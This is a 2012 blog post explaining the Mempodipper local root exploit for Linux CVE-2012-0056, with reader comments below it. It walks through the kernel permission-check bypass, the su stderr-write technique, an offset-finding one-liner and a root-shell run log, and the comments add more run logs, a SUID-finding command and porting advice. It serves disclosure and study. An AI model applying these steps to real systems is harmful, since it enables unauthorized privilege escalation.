Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid/mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process’s virtual memory space. In 2.6.39, the protections against unauthorized access to /proc/pid/mem were deemed sufficient, and so the prior #ifdef that prevented write support for writing to arbitrary process memory was removed. Anyone with the correct permissions could write to process memory. It turns out, of course, that the permissions checking was done poorly. This means that all Linux kernels >=2.6.39 are vulnerable, up until the fix commit for it a couple days ago. Let’s take the old kernel code step by step and learn what’s the matter with it.

When /proc/pid/mem is opened, this kernel code is called:

static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

There are no restrictions on opening; anyone can open the /proc/pid/mem fd for any process (subject to the ordinary VFS restrictions). It simply makes note of the original process’s self_exec_id that it was opened with and stores this away for checking later during reads and writes.

Writes (and reads), however, have permissions checking restrictions. Let’s take a look at the write function:

static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{
 
/* unimportant code removed for blog post */	
 
	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
 
/* unimportant code removed for blog post */
 
	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;
 
/* unimportant code removed for blog post */	
 
	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;
 
/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */

So there are two relevant checks in place to prevent against unauthorized writes: check_mem_permission and self_exec_id. Let’s do the first one first and second one second.

The code of check_mem_permission simply calls into __check_mem_permission, so here’s the code of that:

static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;
 
	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);
 
	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;
 
	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}
 
	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

There are two ways that the memory write is authorized. Either task == current, meaning that the process being written to is the process writing, or current (the process writing) has esoteric ptrace-level permissions to play with task (the process being written to). Maybe you think you can trick the ptrace code? It’s tempting. But I don’t know. Let’s instead figure out how we can make a process write arbitrary memory to itself, so that task == current.

Now naturally, we want to write into the memory of suid processes, since then we can get root. Take a look at this:

$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su will spit out whatever text you want onto stderr, prefixed by “Unknown id:”. So, we can open a fd to /proc/self/mem, lseek to the right place in memory for writing (more on that later), use dup2 to couple together stderr and the mem fd, and then exec to su $shellcode to write an shell spawner to the process memory, and then we have root. Really? Not so easy.

Here the other restriction comes into play. After it passes the task == current test, it then checks to see if the current self_exec_id matches the self_exec_id that the fd was opened with. What on earth is self_exec_id? It’s only referenced a few places in the kernel. The most important one happens to be inside of exec:

void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */
 
	/* An exec changes our domain. We are no longer part of the thread
	   group */
 
	current->self_exec_id++;
 
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id is incremented each time a process execs. So in this case, it functions so that you can’t open the fd in a non-suid process, dup2, and then exec to a suid process… which is exactly what we were trying to do above. Pretty clever way of deterring our attack, eh?

Here’s how to get around it. We fork a child, and inside of that child, we exec to a new process. The initial child fork has a self_exec_id equal to its parent. When we exec to a new process, self_exec_id increments by one. Meanwhile, the parent itself is busy execing to our shellcode writing su process, so its self_exec_id gets incremented to the same value. So what we do is — we make this child fork and exec to a new process, and inside of that new process, we open up a fd to /proc/parent-pid/mem using the pid of the parent process, not our own process (as was the case prior). We can open the fd like this because there is no permissions checking for a mere open. When it is opened, its self_exec_id has already incremented to the right value that the parent’s self_exec_id will be when we exec to su. So finally, we pass our opened fd from the child process back to the parent process (using some very black unix domain sockets magic), do our dup2ing, and exec into su with the shell code.

There is one remaining objection. Where do we write to? We have to lseek to the proper memory location before writing, and ASLR randomizes processes address spaces making it impossible to know where to write to. Should we spend time working on more cleverness to figure out how to read process memory, and then carry out a search? No. Check this out:

$ readelf -h /bin/su | grep Type
  Type:                              EXEC (Executable file)

This means that su does not have a relocatable .text section (otherwise it would spit out “DYN” instead of “EXEC”). It turns out that su on the vast majority of distros is not compiled with PIE, disabling ASLR for the .text section of the binary! So we’ve chosen su wisely. The offsets in memory will always be the same. So to find the right place to write to, let’s check out the assembly surrounding the printing of the “Unknown id: blabla” error message.

It gets the error string here:

  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

And then writes it to stderr:

  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Closes the log:

  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

And then exits the program:

  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

We therefore want to use 0×402178, which is the exit function it calls. We can, in an exploit, automate the finding of the exit@plt symbol with a simple bash one-liner:

$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

So naturally, we want to write to 0×402178 minus the number of letters in the string “Unknown id: “, so that our shellcode is placed at exactly the right place.

The shellcode should be simple and standard. It sets the uid and gid to 0 and execs into a shell. If we want to be clever, we can reopen stderr by, prior to dup2ing the memory fd to stderr, we choose another fd to dup stderr to, and then in the shellcode, we dup2 that other fd back to stderr.

In the end, the exploit works like a charm with total reliability:

 
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================
 
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

You can watch a video of it in action:

As always, thanks to Dan Rosenberg for his continued advice and support. I’m currently not releasing any source code, as Linus only very recently patched it. After a responsible amount of time passes or if someone else does first, I’ll publish. If you’re a student trying to learn about things or have otherwise legitimate reasons, we can talk.

Update: evidently, based on this blog post, ironically, some other folks made exploits and published them. So, here’s mine. I wrote the shellcode for 32-bit and 64-bit by hand. Enjoy!

Update 2: as it turns out, Fedora very aptly compiles their su with PIE, which defeats this attack. They do not, unfortunately, compile all their SUID binaries with PIE, and so this attack is still possible with, for example, gpasswd. The code to do this is in the “fedora” branch of the git repository, and a video demonstration is also available.

Update 3: Gentoo is smart enough to remove read permissions on SUID binaries, making it impossible to find the exit@plt offset using objdump. I determined another way to do this, using ptrace. Ptrace allows debugging of any program in memory. For SUID programs, ptracing will drop its privileges, but that’s fine, since we simply want to find internal memory locations. By parsing the opcode of the binary at the right time, we can decipher the target address of the next call after the printing of the error message. I’ve created a standalone utility that returns the offset, as well as integrating it into the main mempodipper source.

{As always, this is work here is strictly academic, and is not intended for use beyond research and education.}

January 22, 2012 · [Print]

154 Comments to “Linux Local Privilege Escalation via SUID /proc/pid/mem Write”

  1. ipv says:

    Great article, and exploit is well written, congrats :)

  2. caf says:

    It’s not quite accurate to say that “There are no restrictions on opening” – the normal VFS permissions are still applied, and the /proc//mem file has 0600 permissions. This means that you can only open the /proc//mem files for processes running under the same UID (which of course does not affect this exploit).

    I note that the self_exec_id is only an unsigned 32 bit type – I wonder if it would also be possible to repeatedly exec() 4 billion times until you wrap back around to the original value?

    • You’re missing the point — if we try to open a mem of a process we create before execing to suid, then the 600 perms apply to us, and so there are no restrictions for us to beat when opening. But yea, you’re right; post updated to be less ambiguous.

      Yea — this was my first idea too, that it could wrap around. Unfortunately, 32bits is big, and exec is a (comparatively) slow system call, so I think it’d take wayyy too long.

      • caf says:

        Agreed, that is why I said “(which of course does not affect this exploit)”.

        My quick experiment seems to indicate that you could wrap self_exec_id in days or hours, which is certainly viable if there are any other uses of this value for security purposes.

  3. Kees Cook says:

    Instead of leaving a AF_UNIX socket on the filesystem, you can use socketpair() to create a AF_LOCAL socket between parent and child (like pipe()).

  4. Franklin says:

    Thanks for the article. I am very interested in knowing how you did find this bug !
    Thanks,

    F.

  5. [...] excerpt from: Linux Local Privilege Escalation via SUID /proc/pid/mem Write … Be Sociable, Share! Tweet(function() {var s = document.createElement('SCRIPT'), s1 = [...]

  6. Nobody says:

    Thank you for this article, great job.

  7. Tom says:

    Thank you for the great article. Since I am not really familiar with linux system programming I did not understand all of it. Anyway, I was curious enough to give your exploit a try on my own machine (openSuse12.1, 64bit), without success.
    According to your article it seems that openSuse12.1 has compiled su with PIE:
    > readelf -h /bin/su | grep Type
    > Type: DYN (Shared object file)

    • Luca says:

      openSuse 12.1 is not vulnerable via su, however you can do the same exploit with the /bin/eject binary.

      • Jason says:

        Awesome. So yea — even on fairly “hardened” systems, there’s probably going to be one suid executable that spits out arbitrary info on stdout or stderr that isn’t compiled with PIE.

  8. Kines says:

    su: must be run from a terminal
    =(

  9. says:

    Hm, doesn’t seem to work for me. Same output, but no shell, no escalation.

  10. Boris says:

    3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 i686 i386 GNU/Linux

    Works… crap…

  11. [...] example, today this exploit came out: http://blog.zx2c4.com/749 Debian 6 (2.6.32) isn’t vulnerable. Ubuntu 10.04 (2.6.32) isn’t vulnerable. But one of [...]

  12. Raghavendra Prabhu says:

    Doesn’t work for me.

    Running it as mentioned in site causes it to segfault

    Then someone mentioned to give right offset . I get a shell but no privilege escalation either

    I also disabled all CFLAGS related to stack protection etc and built it and tried again — doesn’t work

    This is with a kernel built on Jan 5th (self built but also tested on Arch distro kernel)

    and

    su from

    ==========================
    su –version
    su (GNU coreutils) 8.15
    Copyright (C) 2012 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later .
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.

    Written by David MacKenzie
    =================================

  13. Raghavendra Prabhu says:

    As followup and right offset (with -o) from someone else, it worked.

    I guess it depends on calculating the right offset which the C prgrm was not calculating correctly.

  14. Kill says:

    sh-3.2$ ./exp
    [+] Opening parent mem /proc/26524/mem in child.
    [+] Sending fd 6 to parent.
    su: must be run from a terminal

    and

    sh-3.00$ gcc mempodipper.c -o exp
    sh-3.00$ ./exp
    [+] Opening parent mem /proc/27364/mem in child.
    [+] Sending fd 330 to parent.
    sh-3.00$ id
    uid=48(apache) gid=48(apache) groups=48(apache),99(nobody)

    =\

  15. __sporkbomb says:

    Just a short piece of advice:
    Some distributions are not directly vulnerable to the exploit, as it needs read permission on /bin/su. One example is Gentoo – its sys-apps/shadow package, which owns /bin/su, sets 4711 (i.e. o-r) on the executables it installs.

    BUT if you’re running a vulnerable kernel version and want to test it, here’s a short snippet for you:

    for p in $(echo $PATH | tr ‘:’ ‘ ‘); do find “$p” -perm -4005; done

    Which will print all SUID executables in $PATH that are both readable and executable by all users.
    Now you have a list of potentially vulnerable executables. You still need to see if that binary will print user input as-is. If it does, congratulations, the easy part is done.
    The next step is to adapt the exploit to that executable. As we say in academia, “left as an exercise to the reader” ;)

  16. I’m curious to know if SELinux in Fedora blocks this.

  17. anonymous says:

    actually, this is really old news, it was covered in a talk at WHAT THE HACK in 2005: http://web.archive.org/web/20080724225443/http://wiki.whatthehack.org/index.php/The_/proc/pid/mem_problem

  18. [...] ядре Linux найдена опасная уязвимость, позволяющая локальному злоумышленнику выполнить код [...]

  19. [...] inadequate and could be easily fooled.Shortly after the publication of an explanatory article on Nerdling Sapple, other coders used the information contained in the article to create exploits and made them [...]

  20. [...] root in un sistema . La vulnerabilità è stata scoperta da ZX2C4, e riportata sul suo blog al link http://blog.zx2c4.com/749 [...]

  21. darkfader says:

    linux, bringing the unix flaws from the 90s to you in the 2010′s.
    <3

  22. t4c says:

    Arch:
    Linux pandora 3.1.5-1-ARCH

    Gentoo:
    Linux udopiv3 3.1.1-hardened #31337
    Linux digital-bitch 3.1.6-gentoo #1

    Not vulnerable oob cause of correct permissions of /bin/su.

    • Jason says:

      Not the case. it’s possible to determine the offsets using ptrace, even on hardened gentoo. See the full-disclosure discussion for details.

      • Okay. I just implemented this. It now pwn’s gentoo even with no read permissions on /bin/su.

        • skunk says:

          hi jason, it works perfectly on my gentoo box but not on my hardened gentoo server:

          skunk@web1 CVE-2012-0056 % uname -a
          Linux web1 2.6.39-hardened-r8 #1 SMP Sat Sep 17 13:58:22 CEST 2011 x86_64 Intel(R) Xeon(R) CPU E5520 @ 2.27GHz GenuineIntel GNU/Linuxskunk@web1 CVE-2012-0056 % ./build-and-run-exploit.sh
          ===============================
          = Mempodipper =
          = by zx2c4 =
          = Jan 21, 2012 =
          ===============================

          [+] Ptracing su to find next instruction without reading binary.
          [+] Creating ptrace pipe.
          [+] Forking ptrace child.
          [+] Waiting for ptraced child to give output on syscalls.
          [+] Ptrace_traceme’ing process.
          [+] Error message written. Single stepping to find address.
          [+] Resolved call address to 0x716a3d5b70.
          [+] Opening socketpair.
          [+] Waiting for transferred fd in parent.
          [+] Executing child from child fork.
          [+] Opening parent mem /proc/18668/mem in child.
          [+] Sending fd 6 to parent.
          [+] Received fd at 6.
          [+] Assigning fd 6 to stderr.
          [+] Calculating su padding.
          [+] Seeking to offset 0x716a3d5b64.
          [+] Executing su with shellcode.
          skunk@web1 CVE-2012-0056 % whoami
          skunk

  23. [...] Linux-Systems sofort Root-Rechte. Eine genauere Erklärung, was da passiert, liefert der Artikel Nerdling Sapple von ZX2C4. Leider kam schon ein Systemupdate rein, auf Linux 3.0.0-15-generic #26-Ubuntu [...]

  24. Archie says:

    Why it is an issue for someone that THIS program does not work for their system? Article itself explains clearly why this kind of attact works and how to fix program if there is something different in their system. Anyway it is just proof of consept showing that there is a problem.

  25. [...] Follow this link: Linux Local Privilege Escalation via SUID /proc/pid/mem Write … [...]

  26. [...] 分析原文:Linux Local Privilege Escalation via SUID /proc/pid/mem Write [...]

  27. [...] 读 LWN 新闻时看到了 Linux 内核的一个本地提权漏洞。zx2c4 博客有详细介绍,强烈建议阅读。 [...]

  28. [...] Linux: Root-Rechte durch Speicherzugriff [mehr] [...]

  29. Veovis says:

    Does not pown Gentoo Hardened (grsec+selinux-rbac) on kernel 3.1.5 x64 with last git commit at that time.

  30. Veovis says:

    selinux is active on my box but in permissive mode.

  31. [...] A few days ago, the following exploit was published: http://blog.zx2c4.com/749 [...]

  32. [...] explicación al completo la tenéis en el blog ZX2C4 -nombre curioso, habría que buscar su explicación- en donde este experto ha explicado cómo [...]

  33. It seems to me that the problem here is that “self_exec_id” is implicitly understood to be unique. But “unique” has three meanings here:

    TYPE 1. It is IMPOSSIBLE to have collisions.
    TYPE 2. It is HIGHLY IMPROBABLE to have “natural” collisions.
    TYPE 3. It is HIGHLY IMPROBABLE to have “natural” collisions, and when it happens, it is HIGHLY IMPROBABLE we will even notice.

    Given the fact that the self_exec_id is reset when it reaches its maximum value, we can say that the code that generates it does not understand that it is “type 1 unique”. No security check should rely on any definition of unique different from “type 1 unique”. Is it hard to always implement “type 1 unique”? (this is not a rhetorical question!)

    Well, it is very easy for me to just point… but I think it is worth mentioning…

  34. ex falso says:

    exfalso@QuodLibet ~/tmp % gcc -o mkroot mkroot.c -O0
    exfalso@QuodLibet ~/tmp % uname -r
    3.2.1-1-ARCH
    exfalso@QuodLibet ~/tmp % ./mkroot
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/8332/mem in child.
    [+] Sending fd 3 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x401a60.
    [+] Calculating su padding.
    [+] Seeking to offset 0x401a57.
    [+] Executing su with shellcode.
    [1] 8332 segmentation fault ./mkroot

    l2program lol

  35. [...] Linux by tuldok — Leave a comment January 24, 2012 There is an exploit called “Mempodipper” published last January 23, 2012 that enables normal users to escalate their privileges, [...]

  36. [...] explicación completa está en http://blog.zx2c4.com/749 (en ingles) en donde este experto ha explicado cómo funciona el exploit para la vulnerabilidad [...]

  37. [...] is an exploit called “Mempodipper” published last January 21, 2012 that enables normal users to escalate their privileges, [...]

  38. [...] there is now a nearly-complete walk-through, the urgency for fixing this is higher. While you’re waiting for your distribution’s [...]

  39. [...] exploit es datado el 21 de Enero de 2012 por zx2c4 .Las pruebas realizadas a nivel personal  han sido satisfactorias en BackTrack5 R1 con un kernel [...]

  40. [...] published a detailed article about how the vulnerability can be exploited on his blog on Sunday, which served as inspiration for [...]

  41. Caleb Everett says:

    Compiled, but did not work on my arch system.
    Did not compile on schools red hat system, couldn’t find pipe2.

  42. antonone says:

    Recent Fedora updates mitigate this exploit. F.e. in kernel:

    2.6.41.10-3.fc15.x86_64 #1 SMP Mon Jan 23 15:46:37 UTC 2012

    it doesn’t work. But it worked before ;)

  43. [...] published a detailed article about how a disadvantage can be exploited on his blog on Sunday, that served as impulse for other [...]

  44. [...] few days ago a reliable privileged escalation vulnerability was found in recent versions of the Linux kernel. Point and click exploits are showing up around [...]

  45. zac says:

    for your command look up, in particular line 140 of Mempodipper you can use which to more robustly lookup command e.g.
    objdump -d `which gpasswd`|grep ”|head -n 1|cut -d ‘ ‘ -f 1|sed ‘s/^[0]*\\([^0]*\\)/0x\\1/’
    rather than:
    objdump -d /usr/bin/gpasswd|grep ”|head -n 1|cut -d ‘ ‘ -f 1|sed ‘s/^[0]*\\([^0]*\\)/0x\\1/’

  46. [...] Jason A. Donenfeld posted a proof-of-concept exploit called “mempodipper,” and then published an in-depth technical overview.Donenfield’s explanation inspired other hackers to post additional exploits, according to [...]

  47. IO says:

    Is 3.2-1 affected? there is no mention in changelog about this behavior, however Debian whit official linux-source 3.2-1 seems to be immune.

    http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.2.1

    http://packages.debian.org/changelogs/pool/main/l/linux-2.6/linux-2.6_3.2.1-1/changelog

  48. Wow! What an impressive post…
    Thanks for breaking it down like that. The number and relevance of your peers’ comments reflect my initial sentiments.

    Thanks for sharing.

  49. [...] flaw. As it turns out the flaw was exploited quickly once Torvalds put out the patch with a proof of concept emerging [...]

  50. [...] published a detailed article about how the vulnerability can be exploited on his blog on Sunday, which served as inspiration [...]

  51. oiaohm says:

    This is not a 100 percent sure will work breach even with a defective kernel.

    There is two major issues forgot. This does not block a LSM from disabling access /proc/*/mem. This could selinux or smack for sure.

    So a kernel update is not required to address this problem. Turn LSM on set up rules attack is dead as a dodo. Basically only selinux or smack approve applications can access /proc/*/mem read write. Every other applicaiton gets read only or nothing.

    Injection is not assured in Linux.

    Really is there any critical need for distrobutions with selinux or smack by default to rush out a kernel patch. Not at all. Just make sure they have it turned on.

    This does ask serous questions why LSM on have not become kinda mandortory. No need to wait for distribution to fix this.

  52. [...] security researcher zx2c4 has released a technical description of the bug, as well as an exploit. Advertisement GA_googleAddAttr("AdOpt", "1"); [...]

  53. [...] vor einigen Tagen von Linus Torvalds im offiziellen Kernel behoben und in Folge an anderer Stelle näher analyisert. Mittlerweile kursieren bereits diverse Exploits, die den Fehler ausnutzen können, um [...]

  54. I find it interesting people arguing that the exploit is flawed!!!

    Security does not work that way! You cannot, after an exploit, argue that you could have blocked proc/pid/mem access. Well, you could simply not turn your computer on. The exploit does not block you from turning your computer off and never turning it on again!!! So, it is flawed!!! :-P

  55. Rolf says:

    Why is /proc/pid/mem needed anyway? It seems a huge risk to have direct access to process memory, regardles of security measures.

  56. [...] dan dapat diakali dengan mudah.Segera setelah publikasi artikel yang menjelaskan hal tersebut di Nerdling Sapple, pengkode lainnya menggunakan informasi yanga da didalam artikel untuk membuat eksploit dan [...]

  57. [...] an attacker can run arbitrary code with root privileges. Further technical details can be found on Jason A. Donenfeld’s ZX2C4 blog post.II. ImpactA local, authenticated attacker may be able to gain root privileges on the system.III. [...]

  58. [...] published a detailed article about how the vulnerability can be exploited on his blog on Sunday, which served as inspiration for [...]

  59. [...] which allows local users to gain privileges by modifying process memory, as demonstrated by Mempodipper. Read More [...]

  60. [...] => Une brèche de sécurité « zero day » est ouverte dans le noyau Linux. 26/01/2012. «Une faille de sécurité critique touche le noyau Linux, depuis sa version 2.6.39. Les éditeurs de distributions Linux s’activent pour appliquer le plus vite possible le correctif permettant de combler cette faille. Android est également concerné (…).» Source : http://www.silicon.fr/une-breche-de-securite-zero-day-est-ouverte-dans-le-noyau-linux-71125.html Billets en relation : 23/01/2012. Linux Local Privilege Escalation via SUID : blog.zx2c4.com/749 [...]

  61. [...] which allows local users to gain privileges by modifying process memory, as demonstrated by Mempodipper. Read More Here.Video Demonstration: Advertisement GA_googleAddAttr("AdOpt", "1"); [...]

  62. [...] 当前系统内核为2.6.32-71.el6.i686.由于最近内核出现最新的漏洞(linux kernel 又爆内存提权漏洞,>=2.6.39 内核无一幸免 和http://blog.zx2c4.com/749),所以将内核升级至3.2.2最新版本. [...]

  63. [...] Linux Local Privilege Escalation via SUID /proc/pid/mem Write [...]

  64. [...] más info pueden visitar Este link. Saludos! < Remove WAT [...]

  65. [...] to latest code (especially because of certain bugs that recently were patched, such as the famous mempodipper), this is [...]

  66. jmz says:

    I actually wasn’t able to find any non-PIE setuid binaries on my Arch install.

  67. [...] le cas de la dernière alerte, la mise à disposition d’un exploit et d’un très bon tuto a été tellement rapide qu’il a pris de court les éditeurs de distribution Linux. Sachant [...]

  68. m33x says:

    While I try to start the exploit via PHP (user is www-data) all I get is:

    [+] Opening parent mem /proc/25160/mem in child.
    [+] Sending fd 8 to parent.

    (For sure i changed the executed shell code to something more matching like creating a folder, instead of spawning a shell)

  69. Terion says:

    Doesn’t work on my system. What am I doing wrong (right?) Terminal output:
    terion@LAPTOP:~/Downloads/mempodipper$ ./build-and-run-exploit.sh
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Ptracing su to find next instruction without reading binary.
    [+] Creating ptrace pipe.
    [+] Forking ptrace child.
    [+] Waiting for ptraced child to give output on syscalls.
    [+] Ptrace_traceme’ing process.
    [+] Error message written. Single stepping to find address.
    [+] Resolved call address to 0×8049570.
    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/5464/mem in child.
    [+] Sending fd 6 to parent.
    [+] Received fd at 6.
    [+] Assigning fd 6 to stderr.
    [+] Calculating su padding.
    [+] Seeking to offset 0×8049564.
    [+] Executing su with shellcode.
    terion@LAPTOP:~/Downloads/mempodipper$ whoami
    terion
    terion@LAPTOP:~/Downloads/mempodipper$ uname -a
    Linux LAPTOP 3.0.0-15-generic-pae #26-Ubuntu SMP Fri Jan 20 17:07:31 UTC 2012 i686 i686 i386 GNU/Linux

  70. [...] popping up online, TechWorld reports.Security researcher and programmer Jason Donenfeld first shared some insights about how the flaw can be exploited, and the information was used by others to [...]

  71. [...] was removed. Anyone with the correct permissions could write to process memory. “ — http://blog.zx2c4.com/749 Like this:LikeBe the first to like this post. By adl • Posted in Uncategorized [...]

  72. [...] واللي حاب يتعلم ينظر لملف الثغرة وللمزيد من الشرح تابع مدونة مكتشف الثغرة  [...]

  73. [...] and programmer Jason Donenfeld first shared some insights about how the flaw can be exploited, and the information was used by others to [...]

  74. [...] למידע נוסף, http://blog.zx2c4.com/749 [...]

  75. [...] released a 3.2.1 kernel patched against the vulnerabilty when we heard about the proof of concept mempodipper exploit. After pushing that kernel out though, we found that it was not compatiable with all of our [...]

  76. [...] un rato que conseguí este excelente artículo: http://blog.zx2c4.com/749. De verdad que impresionante lo que conocimiento y curiosidad pueden [...]

  77. [...] Mal uso de funções como printf , sprintf , strcpy , strcat… podem colaborar na sua exploração via formatstring,bem como outros fatos podem colaborar na disclosure da memória bem como problemas de permissões , imagine ter acesso a algum PID na pasta “proc/[0-9]*/mem”, problemas com memoria estão cada vez mais populares como o último XPL de SUID Olhe aqui [...]

  78. [...] Jason A. Donenfeld's Linux Mempodipper exploit who wrote about the CVE-2012-0056 exploit in Hacker News [...]

  79. jechoi says:

    I’ve confirmed that the exploit code with gpasswd is working on Fedora 16. However, when I also tried with /usr/bin/newgrp (suid, return error message with arbitrary input, not compiled with PIE) on F16, I end up with a segmentation fault. It seems that newgrp has all of the vulnerable conditions and the code calculated padding correctly. Could anyone explain why it happens:

    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/3131/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading newgrp for exit@plt.
    [+] Resolved exit@plt to 0x401bf0.
    [+] Calculating newgrp padding.
    [+] Seeking to offset 0x401be1.
    [+] Executing newgrp with shellcode.
    Segmentation fault

  80. [...] Jason A. Donenfeld's Linux Mempodipper exploit who wrote about the CVE-2012-0056 exploit in Hacker News [...]

  81. [...] to saurik (https://github.com/saurik/mempodroid) for the root method, Jason A. Donenfeld (zx2c4) (Linux Local Privilege Escalation via SUID /proc/pid/mem Write | Nerdling Sapple) for finding the exploit and to Rkeene (Rooting the Toshiba Thrive) for Getting around the /system [...]

  82. [...] The recent /proc/pid/mem vulnerability in the linux kernel and its easily-demonstrated exploit, Mempodipper, should be a timely reminder of [...]

  83. [...] that the exploit (unless something has changed that I didn't see in M100) WILL NOT WORK.) (source: Linux Local Privilege Escalation via SUID /proc/pid/mem Write | Nerdling Sapple [...]

  84. [...] Rather than put my write up here, per usual, this time I've put it * in a rather lengthy blog post: http://blog.zx2c4.com/749 * * Enjoy. * * – zx2c4 * Jan 21, 2012 * * CVE-2012-0056 */ Regards [...]

  85. ShubhaM says:

    Getting Compiling errors, what to do ??

    Mempodipper.c:284:2: warning: no newline at end of file
    /tmp/ccctRq92.o: In function `ptrace_address’:
    Mempodipper.c:(.text+0×249): undefined reference to `pipe2′
    collect2: ld returned 1 exit status

  86. ShubhaM says:

    Thank you for the new code..working like charm :)

  87. [...] 当前系统为CentOS Linux release 6.0 (Final),内核版本为2.6.32-71.el6.i686.由于最近内核出现最新的漏洞(linux kernel 又爆内存提权漏洞,>=2.6.39 内核无一幸免 http://blog.zx2c4.com/749 和http://www.haohtml.com/news/netsafe/47456.html),所以将内核升级至3.2.2最新版本. [...]

  88. [...] supporting Intel wireless adapters changes: in 3.0 it's iwlagn, in 3.1 it seems to be iwlcore (but don't use 3.1), and in 3.2 onwards it's iwlwifi. There are known problems with Intel Wireless-N adapters in 3.2 [...]

  89. thomas says:

    Hi~
    I tried this on my Linux, but it blocked in step “Executing su with shellcode”. Then I straced the execution and found that “read(3, 0x7fff5a0709cf, 1) = -1 EAGAIN (Resource temporarily unavailable)
    ptrace(PTRACE_SYSCALL, 22373, 0, SIG_0) = 0″
    Can you tell me why cause this? Thanks.
    kernel :2.6.32

  90. thomas says:

    Now, I solved the problem before. But I tried “/bin/su” and “gpasswd” both, when I strace the execution, it shows that “execve () = -1 EPERM (Operation not permitted)”
    Can somebody tell why?

  91. [...] mai ci si è fallato il kernel? Il signor ZX2C4 ci fa sapere che questa falla è dovuta al fatto che a partire dalla versione 2.6.39 (quindi anche tutte quelle [...]

  92. [...] vi ho parlato in maniera piuttosto esaustiva di questo bug, e vi ho lasciato anche l’indirizzo a cui trovare l’exploit costruito ad hoc. Oggi voglio suggerire un piccolo workaround per Debian, Ubuntu e [...]

  93. alex says:

    Linux vu 2.6.38-10-server #46-Ubuntu SMP Tue Jun 28 16:31:00 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux

    $ ./mempodipper
    [+] Opening parent mem /proc/17231/mem in child.
    [+] Sending fd 5 to parent.
    $

    hi .. what i have done wrong ?

  94. harrouz says:

    please how to install lib for in linux

  95. harrouz says:

    please how to install lib sys/types.h in linux

  96. harrouz says:

    sys/types.h: not file or directory

  97. FUCK YOU says:

    YOU HACKED MY SHIT YOU COCK SUYCKER GO TO HELL FAGGIT

  98. [...] see Issue #2 on the Raspberry Pi kernel tree on GitHub for a fright. Here’s a technical description of the issue, including an exploit (linked from the GitHub [...]

  99. j4y says:

    Nice work. I enjoyed reading this post.

  100. [...] anche alle versioni superiori – a dir poco pericolosa: infatti, stando a quanto il blog zx2c4 pubblica, è alquanto semplice – tracciando ben benino il comando “su”, scrivendo [...]

  101. FlowMotion says:

